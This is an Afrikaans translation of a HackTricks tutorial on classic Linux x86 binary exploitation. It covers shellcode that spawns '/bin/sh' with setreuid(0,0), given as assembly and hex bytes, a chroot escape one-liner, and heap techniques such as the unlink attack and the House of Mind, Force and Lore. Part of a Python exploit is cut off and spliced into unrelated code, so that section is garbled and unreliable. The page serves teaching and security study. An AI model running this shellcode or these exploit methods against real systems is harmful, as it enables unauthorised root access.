# Linux Uitbuiting (Basies) (SPA)
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
## **2.SHELLCODE** Sien kernel-onderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 xor eax, eax ; skoonmaak eax\ xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ int 0x80 ; Voer syscall uit **nasm -f elf assembly.asm** —> Gee ons 'n .o terug\ **ld assembly.o -o shellcodeout** —> Gee ons 'n uitvoerbare lêer wat deur die samestellerkode gevorm is en ons kan die opkodes met **objdump** kry\ **objdump -d -Mintel ./shellcodeout** —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry **Bevestig dat die shellcode werk** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ void (*fp) (void); fp = (void *)shellcode; fp(); } ``` Om te sien of die stelseloproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in **strace ./GEKOMPILIEERDE_PROGRAM** Wanneer jy shellkodes skep, kan jy 'n truuk gebruik. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en sit ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan aanhou om die kode uit te voer. EJ **TRUCO (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) xorl %eax, %eax ; eax = NULL movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh movl $0xb, %eax ; Syscall 11 movl %esi, %ebx ; arg1=“/bin/sh” leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` **EJ gebruik die Stok(/bin/sh):** ``` section .text global _start _start: xor eax, eax ;Limpieza mov al, 0x46 ; Syscall 70 xor ebx, ebx ; arg1 = 0 xor ecx, ecx ; arg2 = 0 int 0x80 ; setreuid(0,0) xor eax, eax ; eax = 0 push eax ; “\0” push dword 0x68732f2f ; “//sh” push dword 0x6e69622f; “/bin” mov ebx, esp ; arg1 = “/bin//sh\0” push eax ; Null -> args[1] push ebx ; “/bin/sh\0” -> args[0] mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` **EJ FNSTENV:** ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` **Eierjagter:** Dit behels 'n klein kode wat die geheuebladsye van 'n proses deursoek op soek na die daar gestoorde shellcode (soek na 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein spasie is om kode in te spuit. **Polimorfiese shellkodes** Dit is versleutelde skulpe met 'n klein kode wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n **versleutelde Caesar-voorbeeld** wees: ``` global _start _start: jmp short magic init: pop esi xor ecx, ecx mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) sub cl, 1 jnz desc jmp short sc magic: call init sc: ;Aquí va el shellcode ``` ## **5.Aanvullende Metodes** **Murat Tegniek** In Linux word alle programme in kaart gebring beginnende by 0xbfffffff Deur te kyk hoe die stokperdjie van 'n nuwe proses in Linux gebou word, kan 'n uitbuit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres daarvan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) Op hierdie manier kan die adres waar die omgewingsveranderlike met die shellcode is, maklik verkry word. Dit kan gedoen word omdat die execle-funksie 'n omgewing kan skep wat net die omgewingsveranderlikes bevat wat verlang word ## ### ### ### ### ### **Formaat Strings tot Buffer Oorvloeiings** Die **sprintf skuif** 'n geformateerde string **na 'n** veranderlike. Daarom kan jy die **formatering** van 'n string misbruik om 'n **buffer oorvloeiing in die veranderlike** waar die inhoud na gekopieer word, te veroorsaak.\ Byvoorbeeld, die lading `%.44xAAAA` sal **44B+"AAAA" in die veranderlike skryf**, wat 'n buffer oorvloeiing kan veroorsaak. ### **\_\_atexit Strukture** {% hint style="danger" %} Dit is teenwoordig baie **vreemd om dit uit te buit**. {% endhint %} **`atexit()`** is 'n funksie waarvolgens **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal uitgevoer word wanneer 'n **`exit()`** uitgevoer word of die **terugkeer** van die **hooffunksie**.\ As jy die **adres** van enige van hierdie **funksies kan wysig** om na 'n shellcode byvoorbeeld te wys, sal jy **beheer** van die **proses kry**, maar dit is tans meer ingewikkeld.\ Tans is die **adresse van die funksies** wat uitgevoer moet word, **verskuil** agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **willekeurige sleutel**. Dus is hierdie aanvalsvektor tans **nie baie nuttig ten minste op x86** en **x64_86** nie.\ Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsiefunksie** nie omdat dit **dieselfde teruggee** as wat dit as inset ontvang het. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor. ### **setjmp() & longjmp()** {% hint style="danger" %} Dit is teenwoordig baie **vreemd om dit uit te buit**. {% endhint %} **`Setjmp()`** maak dit moontlik om die **konteks** (die registers) **te stoor**\ **`longjmp()`** maak dit moontlik om die **konteks** te **herstel**.\ Die **gestoorde registers** is: `EBX, ESI, EDI, ESP, EIP, EBP`\ Wat gebeur is dat EIP en ESP deur die **`PTR_MANGLE`**-funksie gestuur word, dus is die **argitektuur vatbaar vir hierdie aanval dieselfde as hierbo**.\ Hulle is nuttig vir foutherstel of onderbrekings.\ Tog, van wat ek gelees het, is die ander registers nie beskerm nie, **dus as daar 'n `call ebx`, `call esi` of `call edi`** binne die funksie wat geroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig. **VTable en VPTR in C++** Elke klas het 'n **Vtabel** wat 'n reeks **wysers na metodes** is. Elke objek van 'n **klas** het 'n **VPtr** wat 'n **wyser** na die reeks van sy klas is. Die VPtr is deel van die kop van elke objek, dus as 'n **oorvloeiing** van die **VPtr** bereik word, kan dit **gewysig** word om na 'n dummie-metode te wys sodat die uitvoering van 'n funksie na die shellcode gaan. ## **Voorkomende Maatreëls en Ontwappings** ### **Vervanging van Libsafe** Dit word geaktiveer met: LD_PRELOAD=/lib/libsafe.so.2\ of\ “/lib/libsave.so.2” > /etc/ld.so.preload Oproepe na sekere onveilige funksies word onderskep en vervang met veiligeres. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie al die kwesbare funksies word veilig gemaak nie en LD_PRELOAD werk nie in bineêre met suid nie). **ASCII Gepantserde Adresruimte** Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Tog stop dit eintlik byna geen aanvalle nie, en veral nie in little endian nie. **ret2plt** Dit behels die uitvoer van 'n ROP sodat die strcpy@plt-funksie (van die plt) geroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie waarna geroep moet word (system()) gekopieer word. Dan word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer... Uiteindelik word die adres wat in GOT gestoor is, geroep wat system() sal wees. **Hokke met chroot()** debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel in 'n spesifieke subgids 'n Admin kan uit een van hierdie hokke ontsnap deur te doen: mkdir foo; chroot foo; cd .. **Kode-instrumentasie** Valgrind —> Soek foute\ Memcheck\ RAD (Return Address Defender)\ Insure++ ## **8 Heap Oorvloeiings: Basiese Uitbuitings** **Toegewysde Stuk** prev_size |\ size | —Kop\ \*mem | Data **Vry Stuk** prev_size |\ size |\ \*fd | Wyser na volgende stuk\ \*bk | Wyser na vorige stuk —Kop\ \*mem | Data Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vry stukke langs mekaar wees nie (hulle word saamgevoeg) In "size" is daar bietjies om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort aan die primêre arena. As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word na frontlink() gestuur om in die toepaslike bin ingevoeg te word. unlink(){\ BK = P->bk; —> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het\ FD = P->fd; —> Die FD van die nuwe stuk is die een wat die vorige vry stuk gehad het\ FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk\ BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk\ } Dus, as ons die P->bk kan wysig met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word bereik: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode En dus word die shellcode uitgevoer wanneer die program afsluit. Verder skryf die 4de sin van unlink() iets en die shellcode moet hiervoor herstel word: BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode, dus moet die eerste instruksie van die shellcode 'n sprong wees om hierdie te vermy en in 'n paar nops te val wat na die res van die shellcode lei. Dus word die uitbuiting so geskep: In die buffer1 plaas ons die shellcode wat begin met 'n sprong sodat dit na die nops of die res van die shellcode val. Na die shellcode plaas ons vulmateriaal tot by die prev_size en size van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev_size oorskryf word om die bit te hê wat sê dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, dit eintlik na die gewysigde prev_size gaan wat sal sê dat dit vry is) -> Dus wanneer free() ondersoek instel, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 gaan en dink dat die 2de stuk vry is. En dan roep dit **unlink()** aan. Al roep van unlink() sal gebruik maak van die eerste data van die 2de stuk as P->fd, waar die adres wat oorskryf moet word, sal ingaan - 12 (want in FD->bk sal dit 12 by die adres wat in FD bewaar is, optel). En op daardie adres sal dit die tweede adres wat in die 2de stuk gevind word, invoer, wat die adres na die shellcode (P->bk vals) sal wees. **from struct import \*** **import os** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes van vulling** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **prev\_size = pack("\ Gee 'n punt na die adres waar die stuk begin (mem-8) … ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1] … \_int\_free(ar\_ptr, mem); } In \[1] word die veld grootte van die bit NON\_MAIN_ARENA nagegaan, wat verander kan word sodat die toets waar is en heap\_for\_ptr() uitgevoer word wat 'n and na "mem" doen wat die 2.5 minste belangrike byte nul maak (in ons geval van 0x0804a000 maak dit 0x08000000) en toegang kry tot 0x08000000->ar\_ptr (asof dit 'n struct heap\_info is) Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer by 0x0804a000 en 'n stuk vrygestel word by **0x081002a0** kan ons by die adres 0x08100000 kom en skryf wat ons wil, byvoorbeeld **0x0804a000**. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap\_for\_ptr(ptr)->ar\_ptr die waarde is wat ons by 0x08100000 geskryf het (want dit pas die and toe wat ons vroeër gesien het en kry die waarde van die eerste 4 byte, die ar\_ptr) Op hierdie manier word \_int\_free(ar\_ptr, mem) geroep, dit wil sê, **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ …\ bck = unsorted\_chunks(av);\ fwd = bck->fd;\ p->bk = bck;\ p->fd = fwd;\ bck->fd = p;\ fwd->bk = p; ..} Soos ons vantevore gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel word, skryf. Soos unsorted\_chunks gedefinieer word, weet ons dat:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; Daarom, as ons die waarde van \_\_DTOR\_END\_\_-12 in av->bins\[2] skryf, sal die laaste instruksie in \_\_DTOR\_END\_\_ die adres van die tweede stuk skryf. Met ander woorde, aan die begin van die eerste stuk moet ons die adres van \_\_DTOR\_END\_\_-12 baie keer plaas, want dit is waar av->bins\[2] dit sal kry. By die adres waar die adres van die tweede stuk met die laaste 5 nulle val, moet ons die adres van hierdie eerste stuk skryf sodat heap\_for\_ptr() dink dat die ar\_ptr aan die begin van die eerste stuk is en av->bins\[2] daaruit haal. In die tweede stuk en dankie aan die eerste, oorskryf ons die prev\_size met 'n jump 0x0c en die grootte met iets om -> NON\_MAIN\_ARENA te aktiveer. Vervolgens plaas ons 'n klomp nops in stuk 2 en uiteindelik die shellcode. Op hierdie manier sal \_int\_free(TROZO1, TROZO2) aangeroep word en die instruksies volg om die adres van die prev\_size van TROZO2 in \_\_DTOR\_END\_\_ te skryf wat na die shellcode sal spring. Om hierdie tegniek toe te pas, moet daar aan 'n paar ekstra vereistes voldoen word wat die payload 'n bietjie meer kompliseer. Hierdie tegniek is nie meer toepaslik nie omdat bykans dieselfde pleister as vir unlink toegepas is. Dit vergelyk of die nuwe plek waarna verwys word, ook na hom verwys. **Fastbin** Dit is 'n variasie van The house of mind Ons wil die volgende kode uitvoer wat bereik word na die eerste toetsing van die \_int\_free() funksie. fb = &(av->fastbins\[fastbin\_index(size)] —> Waar fastbin\_index(sz) —> (sz >> 3) - 2 … p->fd = \*fb \*fb = p Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, waar die adres van die oorskryfde stuk geplaas sal word. Hiervoor moet die arena naby die dtor-adresse wees. Meer presies moet av->max\_fast by die adres wees wat ons gaan oorskryf. Aangesien met The House of Mind gesien is dat ons die posisie van die av beheer het. As ons dus 'n grootte van 8 + NON\_MAIN\_ARENA + PREV\_INUSE in die grootteveld plaas -> fastbin\_index() sal fastbins\[-1] teruggee, wat na av->max\_fast sal wys. In hierdie geval sal av->max\_fast die adres wees wat oorskryf word (nie waarna dit wys nie, maar daardie posisie sal oorskryf word). Dit moet ook voldoen dat die aangrensende stuk aan die vrygestelde stuk groter moet wees as 8 -> Aangesien ons gesê het dat die grootte van die vrygestelde stuk 8 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode ook in die vrygestelde stuk sal wees, moet ons aan die begin 'n jump plaas wat in nops val). Daarbenewens moet daardie selfde valse stuk kleiner wees as av->system\_mem. av->system\_mem is 1848 byte verder. As gevolg van die nulls van \_DTOR\_END\_ en die min aantal adresse in die GOT, is geen van hierdie afdelingsadresse geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stok aan te val. 'n Ander aanvalsmanier is om die **av** na die stok te rig. As ons die grootte verander sodat dit 16 in plaas van 8 is, dan sal fastbin\_index() fastbins\[0] teruggee en kan ons dit gebruik om die stok te oorskryf. Daar mag geen kanarie of vreemde waardes in die stok wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET Die 4 nulbyte is nodig sodat die **av** na hierdie adres sal wees en die eerste element van 'n **av** is die mutex wat 0 moet wees. Die **av->max\_fast** sal die EBP wees en 'n waarde wees wat ons kan help om die beperkings te omseil. In die **av->fastbins\[0]** sal die adres van **p** oorskryf word en dit sal die RET wees, sodat dit na die shellcode sal spring. Daarbenewens, in **av->system\_mem** (1484 byte bo die posisie in die stok) sal daar genoeg rommel wees wat ons kan help om die toetsing te omseil. Dit moet ook voldoen dat die aangrensende stuk aan die vrygestelde stuk groter moet wees as 8 -> Aangesien ons gesê het dat die grootte van die vrygestelde stuk 16 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode ook in die vrygestelde stuk sal wees, moet ons aan die begin 'n jump plaas wat in nops val wat na die grootteveld van die nuwe valse stuk val). **The House of Spirit** In hierdie geval wil ons 'n aanwyser na 'n malloc hê wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser in die stok onder 'n moontlike oorloop na 'n veranderlike is). Sodoende kan ons hierdie aanwyser laat wys waarheen ook al. Tog is nie enige plek aanvaarbaar nie, die grootte van die valse stuk moet kleiner wees as av->max\_fast en meer spesifiek gelyk aan die grootte wat in 'n toekomstige oproep na malloc()+8 versoek word. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48. As die program byvoorbeeld die gebruiker vra vir 'n nommer, kan ons 48 invoer en die malloc-veranderlike aanwyser na die volgende 4 byte wys (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system\_mem. Indien hieraan voldoen word, wanneer die volgende malloc wat ons gesê het malloc(40) is, geroep word, sal die adres wat aan die EBP wys, toegewys word. Indien die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy beide die EBP en die EIP met die gewenste adres oorskryf. Ek dink dit is omdat wanneer dit vrygelaat word, free() sal onthou dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer moet word, in die adres wat na die EBP van die stok wys, is, en dit sal daardie adres toewys. **The House of Force** Dit is nodig: * 'n oorloop na 'n stuk wat die wilderness kan oorskryf * 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is * 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige groot geheueversoek in \_int\_malloc() hanteer sal word sonder om die heap uit te brei. Die tweede is om die av->top te verander sodat dit na 'n geheuegebied onder die beheer van die aanvaller wys, soos die stok. In av->top sal \&EIP - 8 geplaas word. Ons moet av->top oorskryf sodat dit na die geheuegebied onder die beheer van die aanvaller wys: victim = av->top; remainder = chunck\_at\_offset(victim, nb); av->top = remainder; Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() versoek is. Dus, as \&EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, dan is die hoeveelheid wat gereserveer moet word in die beheerde malloc sodat av->top na $EIP-8 vir die volgende malloc() wys: 0xbffff224 - 0x080c2788 = 3086207644. Op hierdie manier word die veranderde waarde in av->top gestoor en sal die volgende malloc na die EIP wys en dit kan oorskryf. Dit is belangrik dat die grootte van die nuwe wilderness-stuk groter is as die versoek wat deur die laaste malloc() gemaak is. Dit wil sê, as die wilderness na \&EIP-8 wys, sal die grootte presies in die EBP-veld van die stok wees. **The House of Lore** **SmallBin-korrupsie** Die vrygestelde stukke word in die bin geplaas op grond van hul grootte. Maar voordat dit ingesit word, word dit in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas as dit vrygestel word nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan help, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in die toepaslike bin geplaas. Om die kwesbare kode te bereik, moet die geheueversoek groter wees as av->max\_fast (gewoonlik 72) en minder as MIN\_LARGE\_SIZE (512). Indien daar 'n stuk in die bin is wat die regte grootte het vir wat gevra word, word dit teruggegee nadat dit ontkoppel is: bck = victim->bk; Dit wys na die vorige stuk, dit is die enigste inligting wat ons kan verander. bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stapel na die volgende gereserveerde stuk wys, sal hierdie adres aan hom gegee word bck->fd = bin; Die lys word gesluit deur dit na bin te laat wys Benodig: Twee mallocs moet gereserveer word, sodat die eerste oorstroom kan word nadat die tweede vrygestel en in sy bin geplaas is (dit wil sê, 'n malloc wat groter as die tweede stuk gereserveer is voordat die oorstroom plaasvind) Die malloc wat die aanvaller se gekose adres kry, moet deur die aanvaller beheer word. Die doel is as volg, as ons 'n oorstroom na 'n heap kan doen wat 'n vrygestel stuk onder hom het en in sy bin, kan ons sy bk-punt verander. As ons sy bk-punt verander en hierdie stuk die eerste in die bin-lys word en gereserveer word, sal bin mislei word en dit sal glo dat die laaste stuk in die lys (die volgende om aan te bied) in die valse adres is wat ons ingesit het (byvoorbeeld na die stapel of GOT). Dus, as 'n ander stuk weer gereserveer word en die aanvaller het toestemmings daarop, sal dit 'n stuk op die gewenste posisie kry en daarin kan skryf. Nadat die veranderde stuk vrygestel is, moet 'n groter stuk as die vrygestelde stuk gereserveer word, sodat die veranderde stuk uit unsorted bins sal kom en in sy bin ingesit sal word. Sodra dit in sy bin is, is dit tyd om die bk-punt deur die oorstroom te verander sodat dit na die gewenste adres wys. Dus, die bin moet wag vir genoeg oproepe na malloc() voordat die gewysigde bin weer gebruik word en bin mislei word om te glo dat die volgende stuk in die valse adres is. En dan sal die stuk wat ons belangstel, gegee word. Om die kwesbaarheid so vinnig moontlik uit te voer, sou dit ideaal wees: Reservering van die kwesbare stuk, reservering van die stuk wat verander sal word, hierdie stuk word vrygestel, 'n groter stuk as die een wat verander sal word, word gereserveer, die stuk word verander (kwesbaarheid), 'n stuk van dieselfde grootte as die aangetaste stuk word gereserveer en 'n tweede stuk van dieselfde grootte word gereserveer en dit sal na die gekose adres wys. Om hierdie aanval te beskerm, is die tipiese kontrole gebruik dat die stuk "nie" vals is nie: daar word nagegaan of bck->fd na die slagoffer wys. Dit wil sê, in ons geval, as die fd-punt van die valse stuk wat na die stapel wys, na die slagoffer wys. Om hierdie beskerming te omseil, moet die aanvaller op een of ander manier (waarskynlik deur die stapel) in die regte adres die adres van die slagoffer kan skryf. Sodat dit soos 'n ware stuk lyk. **Korrupsie LargeBin** Dieselfde vereistes as voorheen is nodig en nog 'n paar, bovendien moet die gereserveerde stukke groter as 512 wees. Die aanval is soos die vorige, dit wil sê, die bk-punt moet verander word en al daardie oproepe na malloc() is nodig, maar daar moet ook die grootte van die veranderde stuk verander word sodat daardie grootte - nb < MINSIZE is. Byvoorbeeld, dit sal 1552 in grootte wees sodat 1552 - 1544 = 8 < MINSIZE (die aftrekking kan nie negatief wees nie omdat 'n ondertekende getal vergelyk word) Daar is ook 'n pleister ingesit om dit nog moeiliker te maak. **Heap Spraying** Dit behels basies om soveel moontlik geheue vir heaps te reserveer en dit met 'n matras van nops gevul met 'n shellcode te vul. Daarbenewens word 0x0c as matras gebruik. Daar sal gepoog word om na die adres 0x0c0c0c0c te spring, en dus as enige adres met hierdie matras oorskryf word waarheen geroep gaan word, sal dit daarheen spring. Die taktiek is basies om soveel moontlik te reserveer om te sien of enige punters oorskryf word en na 0x0c0c0c0c te spring in die hoop dat daar nops is. **Heap Feng Shui** Dit behels om deur reserverings en vrystellings die geheue so te rangskik dat daar gereserveerde stukke tussen vrye stukke oorbly. Die buffer wat oorstroom moet word, sal in een van die leë ruimtes wees. **objdump -d uitvoerbare** —> Ontleed funksies\ **objdump -d ./PROGRAMA | grep FUNSIE** —> Kry funksie-adres\ **objdump -d -Mintel ./shellcodeout** —> Om te sien of dit werklik ons shellcode is en die OpCodes te kry\ **objdump -t ./exec | grep varBss** —> Simbooltabel, om die adres van veranderlikes en funksies te kry\ **objdump -TR ./exec | grep exit(func lib)** —> Om die adres van biblioteekfunksies te kry (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ **objdump -t --dynamic-relo ./exec | grep puts** —> Kry die adres van puts wat in die GOT oorskryf moet word\ **objdump -D ./exec** —> Ontleed ALLES tot by die plt-inskrywings\ **objdump -p -/exec**\ **Inligting funksies strncmp —>** Inligting oor die funksie in gdb ## Interessante kursusse * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) ## **Verwysings** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.